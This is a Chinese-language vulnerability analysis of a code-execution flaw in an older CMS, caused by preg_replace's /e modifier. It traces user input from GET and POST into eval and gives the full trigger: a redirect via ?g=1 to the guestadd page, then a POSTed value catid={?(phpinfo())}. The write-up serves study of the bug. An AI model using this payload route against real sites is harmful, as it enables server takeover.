某cms5-5代码执行分析

源码分析

该处漏洞主要是preg_replace 函数/e模式下存在的代码执行问题,虽然该程序版本较老,但该问题在其他程序中仍时有存在

漏洞触发点在 lib/tool/form.php文件中,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function getform($name,$form,$field,$data) {
if (get('table') &&isset(setting::$var[get('table')][$name]))
$form[$name]=setting::$var[get('table')][$name];
if (get('form') &&isset(setting::$var[get('form')][$name]))
$form[$name]=setting::$var[get('form')][$name];
if (isset($form[$name]['default']))
$form[$name]['default']=preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')",$form[$name]['default']);
if (!isset($data[$name]) &&isset($form[$name]['default']))
$data[$name]=@$form[$name]['default'];
if (preg_match('/templat/',$name) &&empty($data[$name]))
$data[$name]=@$form[$name]['default'];
if (@$form[$name]['filetype'] == 'image') {
$return=form::upload_image($name,front::post($name) ?front::post($name) : @$data[$name]);
}

关键点在于这句

1
2
if (isset($form[$name]['default']))
$form[$name]['default']=preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')",$form[$name]['default']);

当if条件成立时,就会引发代码执行问题

下面寻找触发getform函数的代码

可以看到该函数存在六处调用,尝试跟进第一处

代码位于 cache/template/default/manage/#guestadd.php

1
<?php echo form::getform('catid',$form,$field,$data);?>

该段直接调用了静态方法getform,但目前并不知道 catid是什么,尝试全局搜索

在/lib/table/archive.php中找到了catid 相关的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
function get_form() {
return array(
'catid'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(category::option(0,'tolast')),
'default'=>get('catid'),
'regex'=>'/\d+/',
'filter'=>'is_numeric',
),
'typeid'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(type::option(0,'tolast')),
'default'=>get('typeid'),
'regex'=>'/\d+/',
'filter'=>'is_numeric',
),
'toppost'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(array(0=>'不置顶',2=>'栏目置顶',3=>'全站置顶')),
'default'=>0,
'regex'=>'/\d+/',
'filter'=>'is_numeric',
),
'ishtml'=>array(
'selecttype'=>'radio',
'select'=>form::arraytoselect(array(0=>'继承',1=>'生成',2=>'不生成')),
),
'checked'=>array(
'selecttype'=>'radio',
'select'=>form::arraytoselect(form::yesornotoarray('审核')),
),
'image'=>array(
'filetype'=>'image',
),
'thumb'=>array(
'filetype'=>'thumb',
),
'displaypos'=>array(
'selecttype'=>'checkbox',
//'select'=>form::arraytoselect(array(1=>'首页推荐',2=>'首页焦点',3=>'首页头条',4=>'列表页推荐',5=>'内容页推荐')),
),
'htmlrule'=>array(
//'tips'=>" 默认:{?category::gethtmlrule(get('id'),'showhtmlrule')}",
),
'template'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(front::$view->archive_tpl_list('archive/show')),
//'tips'=>" 默认:{?category::gettemplate(get('id'),'showtemplate')}",
),
'showform'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(get_my_tables_list()),
'default'=>"0",
),
'introduce_len'=>array(
'default'=>config::get('archive_introducelen')
),
'attr1'=>array(
'selecttype'=>'checkbox',
'select'=>form::arraytoselect($this->getattrs(1)),
),
'grade'=>array(
'selecttype'=>'radio',
'select'=>form::arraytoselect(array(0,1,2,3,4,5)),
),
'pics'=>array(
'filetype'=>'image2',
),
'author'=>array(
'tips'=>' ',
),
'attr3'=>array(
'tips'=>' ',
),
'htmlrule'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(getHtmlRule('archive')),
'default'=>'',
),
'tag_option'=>array(
'selecttype'=>'select',
'select'=>form::arraytoselect(tag::getTags()),
),
);
}

注意到这一句

1
'default'=>get('catid'),

跟进get函数

1
2
3
4
5
6
7
8
9
10
function get($var) {
if (front::get($var))
return front::get($var);
else if (front::post($var))
return front::post($var);
else if (config::get($var))
return config::get($var);
else if (session::get($var))
return session::get($var);
}

继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
static function get($var) {
if (isset(self::$get[$var]))
return self::$get[$var];
else
return false;
}
static function post($var) {
if (isset(self::$post[$var]))
return self::$post[$var];
else
return false;
}

最后跟进到front类中__construct()函数

1
2
3
//关键语句
self::$get=$_GET;
self::$post=$_POST;

这就说明catid和defult的值都是我们可以控制的,这样我们就可以通过控制$form[$name(catid)] [‘default’]来达到执行任意代码的目的

此时我们需要寻找一个触发get_form()函数的地方,并且再触发该函数后需要引用guestadd.php页面以此衔接我们的利用操作,全局搜索后定位在 /lib/default/manage_act.php ,该文件在第29行对get_form()函数进行了调用

1
$this->view->form=$this->_table->get_form();

同时在/lib/tool/front_class.php 文件的front类中存在这样的代码

1
2
3
if (@$_GET['g'] &&is_numeric(@$_GET['g'])) {    
header('location: ?case=manage&act=guestadd&manage=archive&guest=1');
}

该文件是网站入口文件index.php所引用的,所以我们访问如下url即可触发

1
http://localhost/?g=1

接着会被重定向为这样:

1
http://localhost/index.php?case=manage&act=guestadd&manage=archive&guest=1

这时只要post过去符合正则匹配的代码就可以了

1
2
3
'/\{\?([^}]+)\}/e'
//该段正则表达式即为匹配{?任意内容},当post如下语句时就会触发执行
//catid={?(phpinfo())}

梳理一下利用过程:

1
2
3
4
5
6
index.php->
(/lib/tool/front_class.php)->
(/lib/default/manage_act.php)[->get_form()]->
(cache/template/default/manage/#guestadd.php)[->getform('catid'...)]->
(lib/tool/form.php)[preg_reolace()]//RCE

后记

当我们传入{?(phpinfo())}时,函数会变成这样

1
preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')","{?(phpinfo())}");

匹配成功后会执行eval(‘return $1;’)

而(phpinfo())在正常情况下同样会执行

执行成功会返回true这样前面的eval(‘return $1;’)就相当于eval(‘return phpinfo();’),所以出现了代码执行